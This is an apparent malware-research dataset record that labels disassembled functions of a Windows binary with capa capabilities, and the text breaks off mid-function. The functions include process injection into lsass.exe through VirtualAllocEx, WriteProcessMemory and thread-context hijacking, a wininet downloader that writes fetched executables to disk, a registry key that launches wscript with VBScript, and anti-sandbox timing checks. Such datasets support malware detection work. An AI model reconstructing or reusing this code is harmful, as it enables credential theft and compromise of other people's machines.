joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140005ff0
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
push rsi
push rdi
push r13
sub rsp, 0x30
cmp dword [rcx + 0x230], 0
mov rbp, rdx
lea rax, [r11 + 8]
mov rsi, r8
mov rbx, rcx
lea rdi, str.main
lea r13, str.back
mov rdx, rdi
mov r9d, 2
cmovne rdx, r13
mov rcx, 0xffffffff80000001
xor r8d, r8d
mov qword [r11 - 0x28], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x50]
mov rdx, rbp
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [rbx + 0x230], 0
lea r8, [rsp + 0x50]
cmovne rdi, r13
mov rcx, 0xffffffff80000001
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1400060ae
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x50]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rbp
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x60]
add rsp, 0x30
pop r13
pop rdi
pop rsi
ret
Function at 0x1400061fc
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x840
and dword [rax + 0x18], 0
and dword [rax + 0x20], 0
mov rbp, rcx
lea rcx, str.wininet.dll
mov r12d, 1
mov rbx, rdx
mov sil, r12b
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.InternetOpenW
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], 0
lea rcx, str.MSIE_6.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call rax
mov r13, rax
test rax, rax
jne 0x14000627b
test rdi, rdi
je 0x140006274
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
jmp 0x1400063a5
lea rdx, str.InternetOpenUrlW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and qword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, rbp
mov rcx, r13
mov dword [rsp + 0x20], 0x80000000
call rax
mov rbp, rax
test rax, rax
je 0x140006266
and qword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rbx
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000636c
lea rcx, [rsp + 0x40]
xor edx, edx
mov r8d, 0x800
call fcn.140025070
lea rdx, str.InternetReadFile
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea r9, [rsp + 0x880]
lea rdx, [rsp + 0x40]
mov r8d, 0x800
mov rcx, rbp
call rax
test r12d, r12d
je 0x14000632e
mov eax, 0x5a4d
cmp word [rsp + 0x40], ax
jne 0x140006360
mov r8d, dword [rsp + 0x880]
lea r9, [rsp + 0x888]
lea rdx, [rsp + 0x40]
xor r12d, r12d
mov rcx, rbx
and qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [rsp + 0x880], r12d
jbe 0x140006363
jmp 0x1400062e3
xor sil, sil
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.InternetCloseHandle
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbp
mov rbx, rax
call rbx
mov rcx, r13
call rbx
test rdi, rdi
je 0x1400063a2
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, sil
mov rbx, qword [rsp + 0x870]
add rsp, 0x840
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400068e4
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rdx, qword [rcx]
mov r10d, dword [rcx + 0x68]
mov r12d, 1
movzx eax, word [rdx + 0x14]
mov rsi, qword [rdx + 0x30]
sub r10, r12
lea r8, [rax + rdx + 0x18]
movabs rax, 0xffffffff00000000
not r10
mov r11d, dword [r8 + 8]
and rsi, rax
mov eax, dword [r8 + 0x10]
or r11, rsi
xor ebx, ebx
mov r13, rcx
and r10, r11
mov qword [rbp + 0x30], rsi
mov qword [rbp - 0x20], r11
mov qword [rbp - 0x18], r10
test eax, eax
jne 0x140006969
test byte [r8 + 0x24], 0x40
je 0x14000695f
mov eax, dword [rdx + 0x20]
jmp 0x140006969
test byte [r8 + 0x24], 0x80
je 0x140006969
mov eax, dword [rdx + 0x24]
mov ecx, dword [r8 + 0x24]
mov r9d, eax
mov dword [rbp - 4], ebx
mov qword [rbp - 0x10], r9
mov r14d, r12d
mov dword [rbp - 8], ecx
cmp r12w, word [rdx + 6]
jae 0x140006a42
lea rdi, [r8 + 0x4c]
mov r15d, dword [rdi - 0x1c]
mov eax, dword [rdi - 0x14]
or r15, rsi
mov esi, dword [r13 + 0x68]
sub rsi, r12
not rsi
and rsi, r15
test eax, eax
jne 0x1400069b9
test byte [rdi], 0x40
je 0x1400069b1
mov eax, dword [rdx + 0x20]
jmp 0x1400069b9
test byte [rdi], 0x80
je 0x1400069b9
mov eax, dword [rdx + 0x24]
mov r12d, eax
cmp r10, rsi
je 0x1400069f3
lea rax, [r9 + r11]
cmp rax, rsi
ja 0x1400069f3
lea rdx, [rbp - 0x20]
mov rcx, r13
call fcn.140006824
test eax, eax
je 0x140006a3e
mov ecx, dword [rdi]
mov r11, r15
mov qword [rbp - 0x20], r15
mov r10, rsi
mov qword [rbp - 0x18], rsi
mov r9d, r12d
mov qword [rbp - 0x10], r12
jmp 0x140006a18
mov eax, dword [rdi]
bt eax, 0x19
jae 0x140006a05
bt ecx, 0x19
jae 0x140006a05
or ecx, eax
jmp 0x140006a0b
or ecx, eax
btr ecx, 0x19
mov r9, r12
sub r9, r11
add r9, r15
mov qword [rbp - 0x10], r9
mov rdx, qword [r13]
mov r12d, 1
add rdi, 0x28
movzx eax, word [rdx + 6]
add r14d, r12d
mov dword [rbp - 8], ecx
cmp r14d, eax
jge 0x140006a42
mov rsi, qword [rbp + 0x30]
jmp 0x14000698c
xor eax, eax
jmp 0x140006a59
lea rdx, [rbp - 0x20]
mov rcx, r13
mov dword [rbp - 4], r12d
call fcn.140006824
test eax, eax
setne bl
mov eax, ebx
lea r11, [rsp + 0x40]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
Function at 0x140007424
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x30
mov r12, rcx
mov rcx, qword [rcx + 0x148]
mov rdi, r9
mov esi, r8d
mov rbp, rdx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r14d, r14d
lea rcx, [r12 + 0x138]
mov eax, r14d
xchg dword [r12 + 0x150], eax
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
lea rcx, [r12 + 0x160]
mov r8, rdi
mov edx, 0xff
call fcn.140021890
lea rcx, [r12 + 0x160]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rdx, [r12 + 0x160]
lea rcx, [r12 + 0x160]
lea eax, [rax + rax + 2]
movsxd r8, eax
mov dword [r12 + 0x360], eax
call fcn.1400211b0
mov r11d, dword [r12 + 0x360]
mov rcx, qword [r12 + 0x378]
add r11d, 8
add rcx, 8
lea edi, [r14 + 1]
mov dword [r12 + 0x364], r11d
mov rax, qword [rcx]
movzx r8d, si
mov r9d, edi
mov rdx, rbp
mov word [rsp + 0x28], r14w
mov qword [rsp + 0x20], r14
call qword [rax]
mov rcx, qword [r12 + 0x380]
mov edx, 0xfa0
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x14000753e
cmp eax, 0x102
je 0x14000752c
cmp eax, 0xffffffff
jne 0x14000753a
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor al, al
jmp 0x1400075a4
lea rcx, [r12 + 0x140]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [r12 + 0x140]
sub rcx, qword [r12 + 0x138]
pxor xmm0, xmm0
pxor xmm1, xmm1
cvtsi2sd xmm0, qword [r12 + 0x130]
cvtsi2sd xmm1, rcx
divsd xmm0, qword [0x14004bd20]
mov ecx, edi
divsd xmm1, xmm0
movsd qword [r12 + 0x128], xmm1
xchg dword [r12 + 0x150], ecx
mov rcx, qword [r12 + 0x380]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov al, dil
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x30
pop r14
pop r13
pop r12
ret
Function at 0x1400093cc
Capabilities:
Set registry value

Disassembly:
push rbp
push rsi
mov rbp, rsp
sub rsp, 0x48
lea rax, [rbp + 0x28]
mov rsi, 0xffffffff80000000
lea rdx, str..yac
mov r9d, 0x20019
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14000940c
mov rcx, qword [rbp + 0x28]
jmp 0x1400094f8
lea r8, [rbp + 0x20]
lea rdx, str..yac
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, str.Counsellor
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp + 0x20]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, str.Counsellor
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x20]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rbp + 0x18]
lea rdx, str.Counsellor
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp + 0x18]
xor edx, edx
lea r8d, [rdx + 1]
lea r9, str.Microsoft_Date_Tools_Upgrader_File
mov dword [rsp + 0x20], gethostbyname
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
lea r8, [rbp + 0x30]
lea rdx, str.Shell
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp + 0x30]
lea r8, [rbp - 0x18]
lea rdx, str.Open
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov rcx, qword [rbp - 0x18]
lea r8, [rbp - 0x10]
lea rdx, str.Command
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
lea rcx, str.wscript.exe___E:vbscript___1_
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rbp - 0x10]
xor edx, edx
lea eax, [rax + rax + 2]
lea r9, str.wscript.exe___E:vbscript___1_
lea r8d, [rdx + 1]
mov dword [rsp + 0x20], eax
call qword [sym.imp.ADVAPI32.dll_RegSetValueW]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
add rsp, 0x48
pop rsi
pop rbp
ret
Function at 0x14000a9b0
Capabilities:
Allocate or change rwx memory
Enumerate processes
Enumerate threads
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x660]
sub rsp, 0x760
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
lea r9, [rbp + 0x690]
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call rax
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000ab9b
lea rdx, [rsp + 0x50]
mov rcx, rax
mov dword [rsp + 0x50], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x14000aa56
lea rdx, [rsp + 0x7c]
lea rcx, str.lsass.exe
call fcn.140023f04
test eax, eax
je 0x14000aa5c
lea rdx, [rsp + 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000aa33
jmp 0x14000aa60
mov edi, dword [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x14000ab9b
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
mov dword [rbp + 0x1c0], 0x10000b
mov dword [rsp + 0x30], 0x1c
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000aaa3
lea eax, [rbx - 2]
jmp 0x14000ab9e
mov esi, 0x8457
mov r9d, 0x3000
xor edx, edx
mov rcx, rax
mov r8d, esi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x14000aad6
lea eax, [r12 - 3]
jmp 0x14000ab9e
and qword [rsp + 0x20], 0
lea r8, [0x140057d70]
mov r9, rsi
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor edx, edx
xor r13d, r13d
lea ecx, [rdx + 4]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
lea rdx, [rsp + 0x30]
mov rcx, rax
mov r14, rax
call qword [sym.imp.KERNEL32.dll_Thread32First]
test eax, eax
je 0x14000ab8e
cmp edi, dword [rsp + 0x3c]
jne 0x14000ab77
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenThread]
mov rsi, rax
test rax, rax
je 0x14000ab87
mov rcx, rax
inc r13d
call qword [sym.imp.KERNEL32.dll_SuspendThread]
lea rdx, [rbp + 0x190]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rdx, [rbp + 0x190]
mov rcx, rsi
mov qword [rbp + 0x288], r12
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
cmp r13d, 4
jg 0x14000ab8e
lea rdx, [rsp + 0x30]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_Thread32Next]
jmp 0x14000ab11
mov eax, 0xfffffffc
jmp 0x14000ab9e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x14000ab9e
or eax, 0xffffffff
lea r11, [rsp + 0x760]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret
Function at 0x14000abbc
Capabilities:
Create process on windows
Enumerate processes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x268]
sub rsp, 0x360
mov qword [rbp - 0x60], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
lea rdx, str.vmcompute.exe
lea rcx, [rsp + 0x50]
call fcn.14000b700
nop
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
mov dword [rbp + 0x20], 0x238
lea rdx, [rbp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor esi, esi
test eax, eax
jne 0x14000ac31
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, sil
jmp 0x14000acd8
or r12, 0xffffffffffffffff
xor eax, eax
mov rcx, r12
lea rdi, [rbp + 0x4c]
repne scasw ax, word [rdi]
not rcx
dec rcx
mov r8, rcx
lea rdx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rdx, qword [rsp + 0x50]
mov rdi, rcx
mov r9, qword [rsp + 0x60]
cmp r9, rcx
cmovb rdi, r9
lea rcx, [rbp + 0x4c]
test rdi, rdi
je 0x14000ac93
movzx eax, word [rcx]
cmp word [rdx], ax
jne 0x14000ac8a
add rdx, 2
add rcx, 2
dec rdi
jne 0x14000ac73
jmp 0x14000ac93
sbb eax, eax
and eax, 0xfffffffe
inc eax
jmp 0x14000ac95
mov eax, esi
movsxd rcx, eax
mov eax, esi
cmp r9, r8
setne al
cmp r9, r8
cmovb eax, r12d
test rcx, rcx
cmovne eax, ecx
test eax, eax
sete al
mov rcx, rbx
test al, al
jne 0x14000acd0
lea rdx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x14000ac35
jmp 0x14000ac20
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dl, 1
test dl, dl
sete dil
cmp qword [rsp + 0x68], 8
jb 0x14000acf0
mov rcx, qword [rsp + 0x50]
call fcn.140021190
test dil, dil
je 0x14000adb8
mov edi, 0x68
mov r8d, edi
xor edx, edx
lea rcx, [rbp - 0x50]
call fcn.140025070
mov dword [rbp - 0x50], edi
mov dword [rbp - 0x14], 1
mov word [rbp - 0x10], si
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
lea rdx, str.powershell.exe_Enable_WindowsOptionalFeature__FeatureName__Containers_DisposableClientVM___All__Online
lea rcx, [rsp + 0x78]
call fcn.14000b700
lea rdx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rdx, qword [rsp + 0x78]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000ada7
or edx, 0xffffffff
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbp - 0x70], 8
jb 0x14000adb8
mov rcx, qword [rsp + 0x78]
call fcn.140021190
lea r11, [rsp + 0x360]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000add8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x50
lea rcx, str.21:24:14
call fcn.14002479c
call fcn.1400247b4
mov r11d, eax
mov eax, 0x30c30c31
imul r11d
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx, edx, 0x15
sub r11d, edx
imul r11d, r11d, 0x2ee0
movsxd rbx, r11d
call fcn.1400247b4
mov r8d, dword [0x7ffe0014]
movsxd rcx, eax
mov dword [rsp + 0x60], r8d
movabs rdi, 0xfe624e212ac18000
mov qword [rsp + 0x68], rcx
mov ecx, dword [0x7ffe001c]
movabs r11, 0x624dd2f1a9fbe77
mov dword [rsp + 0x64], ecx
mov rax, r11
mov r9, qword [rsp + 0x60]
mov dword [rsp + 0x64], ecx
mov dword [rsp + 0x60], r8d
mov rcx, qword [rsp + 0x60]
add r9, rdi
add rcx, rdi
mul r9
sub r9, rdx
mov rax, r11
shr r9, 1
add r9, rdx
shr r9, 9
add r9, rbx
mul rcx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 9
cmp rcx, r9
jae 0x14000aed5
mov r8d, 0x7ffe0014
lea r10d, [r8 + 8]
inc qword [rsp + 0x68]
mov eax, dword [r8]
mov dword [rsp + 0x60], eax
mov eax, dword [r10]
mov dword [rsp + 0x64], eax
mov rax, r11
mov rcx, qword [rsp + 0x60]
add rcx, rdi
mul rcx
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 9
cmp rcx, r9
jb 0x14000aea2
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx r11d, word [rsp + 0x3e]
movzx eax, word [rsp + 0x4e]
movzx ecx, word [rsp + 0x4c]
sub eax, r11d
movd xmm1, eax
movzx eax, word [rsp + 0x3c]
sub ecx, eax
cvtdq2pd xmm1, xmm1
movd xmm0, ecx
divsd xmm1, qword [0x14004bd20]
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
movsd xmm0, qword [0x14004c8a8]
comisd xmm0, xmm1
ja 0x14000afa0
call fcn.14000a1c4
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, eax
call qword [sym.imp.USER32.dll_PostThreadMessageA]
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x140008efc]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
call fcn.140009508
call fcn.14000a9b0
call fcn.1400086e0
call fcn.14000abbc
or edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
Function at 0x14000ce50
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
push r12
push r13
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov esi, edx
mov rdi, rcx
or ebx, 0xffffffff
cmp edx, ebx
jne 0x14000ce80
xor eax, eax
jmp 0x14000d08f
mov rdx, qword [rcx + 0x48]
cmp qword [rdx], 0
je 0x14000ceb3
mov rcx, qword [rcx + 0x60]
movsxd rax, dword [rcx]
add rax, qword [rdx]
cmp qword [rdx], rax
jae 0x14000ceb3
add dword [rcx], ebx
mov rcx, qword [rdi + 0x48]
mov rdx, qword [rcx]
lea rax, [rdx + 1]
mov qword [rcx], rax
mov byte [rdx], sil
mov eax, esi
jmp 0x14000d08f
cmp qword [rdi + 0x98], 0
je 0x14000d08d
mov rdx, qword [rdi + 0x20]
lea rax, [rdi + 0x88]
cmp qword [rdx], rax
jne 0x14000ceeb
mov rcx, qword [rdi + 0x78]
mov rax, qword [rdi + 0x70]
mov qword [rdx], rax
mov rax, qword [rdi + 0x40]
mov qword [rax], rcx
sub ecx, ecx
mov rax, qword [rdi + 0x58]
mov dword [rax], ecx
cmp qword [rdi + 0x80], 0
jne 0x14000cf0f
movsx ecx, sil
mov rdx, qword [rdi + 0x98]
call fcn.140023620
cmp eax, ebx
cmovne ebx, esi
jmp 0x14000d08d
mov byte [rbp + 0x38], sil
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
lea eax, [rdx - 7]
cmp al, 0xfe
jbe 0x14000cf39
lea rcx, str.string_too_long
call fcn.14003a510
int3
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r10, 0x10
cmovae rdx, r9
lea r8, [rbp - 0x28]
cmovae r8, r9
mov rcx, qword [rdi + 0x80]
mov r10, qword [rcx]
add rdx, qword [rbp - 0x18]
lea rax, [rbp + 0x40]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp + 0x48]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x39]
lea r8, [rbp + 0x38]
lea rdx, [rdi + 0x8c]
call qword [r10 + 0x28]
test eax, eax
js 0x14000d07d
cmp eax, 1
jg 0x14000d061
lea rax, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 0x10
cmovae rax, r9
mov r12, qword [rbp + 0x40]
sub r12, rax
je 0x14000d006
lea rcx, [rbp - 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x98]
mov r8, r12
mov edx, 1
call fcn.140021c04
cmp r12, rax
jne 0x14000d03d
mov r10, qword [rbp - 0x10]
mov r9, qword [rbp - 0x28]
mov byte [rdi + 0x89], 1
lea rax, [rbp + 0x38]
cmp qword [rbp + 0x48], rax
jne 0x14000d04a
test r12, r12
jne 0x14000cf5a
cmp qword [rbp - 0x18], 0x20
jae 0x14000d03f
xor r8d, r8d
lea edx, [r12 + 8]
lea rcx, [rbp - 0x28]
call fcn.1400038a4
jmp 0x14000cf52
jmp 0x14000d07d
cmp r10, 0x10
jb 0x14000d08d
mov rcx, r9
jmp 0x14000d088
cmp r10, 0x10
jb 0x14000ceac
mov rcx, r9
call fcn.140021190
jmp 0x14000ceac
cmp eax, 3
jne 0x14000d07d
movsx ecx, byte [rbp + 0x38]
mov rdx, qword [rdi + 0x98]
call fcn.140023620
cmp eax, ebx
cmovne ebx, esi
jmp 0x14000d07d
cmp qword [rbp - 0x10], 0x10
jb 0x14000d08d
mov rcx, qword [rbp - 0x28]
call fcn.140021190
mov eax, ebx
mov rbx, qword [rsp + 0xa0]
add rsp, 0x70
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000e210
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r13
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x30], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rbx, rcx
cmp qword [rcx + 0x80], 0
je 0x14000e3a5
cmp byte [rcx + 0x8a], 0
je 0x14000e3a5
mov rax, qword [rcx]
mov edi, 0xffff
mov edx, edi
call qword [rax + 0x18]
cmp di, ax
jne 0x14000e265
xor al, al
jmp 0x14000e3a7
mov edx, reloc.WS2_32.dll_ntohs
mov qword [rbp - 0x10], rdx
and qword [rbp - 0x18], 0
mov byte [rbp - 0x28], 0
lea r13d, [rdx - 7]
cmp r13b, 0xfe
jbe 0x14000e28e
lea rcx, str.string_too_long
call fcn.14003a510
int3
xor ecx, ecx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x18], r13
lea rax, [rbp - 0x28]
cmp rdx, 0x10
cmovae rax, rcx
mov byte [rax + 8], cl
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
lea rdx, [rbp - 0x28]
cmp r10, 0x10
cmovae rdx, r9
lea r8, [rbp - 0x28]
cmovae r8, r9
mov rcx, qword [rbx + 0x80]
mov r10, qword [rcx]
mov rax, qword [rbp - 0x18]
lea r9, [rdx + rax]
lea rax, [rbp + 0x20]
mov qword [rsp + 0x20], rax
lea rdx, [rbx + 0x8c]
call qword [r10 + 0x30]
test eax, eax
je 0x14000e2f3
dec eax
jne 0x14000e36a
jmp 0x14000e2fa
mov byte [rbx + 0x8a], 0
lea rax, [rbp - 0x28]
mov r9, qword [rbp - 0x28]
mov r10, qword [rbp - 0x10]
cmp r10, 0x10
cmovae rax, r9
mov rdi, qword [rbp + 0x20]
sub rdi, rax
je 0x14000e344
lea rcx, [rbp - 0x28]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rbx + 0x98]
mov r8, rdi
mov edx, 1
call fcn.140021c04
cmp rdi, rax
jne 0x14000e37e
mov r10, qword [rbp - 0x10]
mov r9, qword [rbp - 0x28]
cmp byte [rbx + 0x8a], 0
je 0x14000e397
test rdi, rdi
jne 0x14000e2af
xor r8d, r8d
mov rdx, r13
lea rcx, [rbp - 0x28]
call fcn.1400038a4
jmp 0x14000e2a7
sub eax, 2
je 0x14000e371
jmp 0x14000e37e
cmp qword [rbp - 0x10], 0x10
jb 0x14000e3a5
mov rcx, qword [rbp - 0x28]
